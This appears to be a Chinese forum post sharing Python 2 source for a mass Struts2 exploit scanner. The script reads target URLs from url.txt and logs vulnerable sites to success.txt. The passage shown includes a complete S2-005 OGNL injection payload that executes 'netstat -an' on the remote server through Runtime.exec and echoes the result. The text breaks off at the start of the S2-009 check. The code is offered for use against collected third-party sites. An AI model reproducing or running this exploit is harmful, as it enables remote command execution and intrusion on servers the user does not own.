花了半天写完的~~ 还不错~~
现在同目录下创建url.txt 将收集到的url放进去 就ok~~
最后成功的会在同目录下生产success.txt~~
附上源码~~~
# -*-coding:utf-8-*-
import requests
import time
print unicode('''
作者:浪子燕青
作者QQ:982722261
使用说明:
检测以下Struts2:
struts2_005
struts2_009
struts2_013
struts2_016
struts2_019
struts2_032
struts2_037
struts2_devmode
''','utf-8')
time.sleep(3)
zhaohan2 = open("url.txt",'r')
zhaohan3 = zhaohan2.readlines()
zhaohan2.close()
def struts2_005(urlx): #检测的主要程序,建立检测005的函数
zhaohan = open('success.txt','a+')
headers = {"Content-Type": "application/x-www-form-urlencoded"} #在下面构建exp
exp = '''('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'netstat -an\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))'''
try: #当不能连接的时候可以实现异常处理
resp = requests.post(url=urlx, data=exp, headers=headers, timeout=10)
if "0.0.0.0" in resp.content: #当0.0.0.0 在返回的内容的时候说明是存在漏洞
print unicode("发现一枚嫌疑网址,保存到本地....",'utf-8')
zhaohan.write(urlx + " S2_005" + "\n")
else:
print unicode("该网站不存在S2_005漏洞,继续扫描.....",'utf-8')
except:
print unicode('连接超时&指令被禁止&或被拦截巴拉巴拉的~','utf-8')
return None
return None
zhaohan.close()
time.sleep(3)
def struts2_009(urlx):
zhaohan = o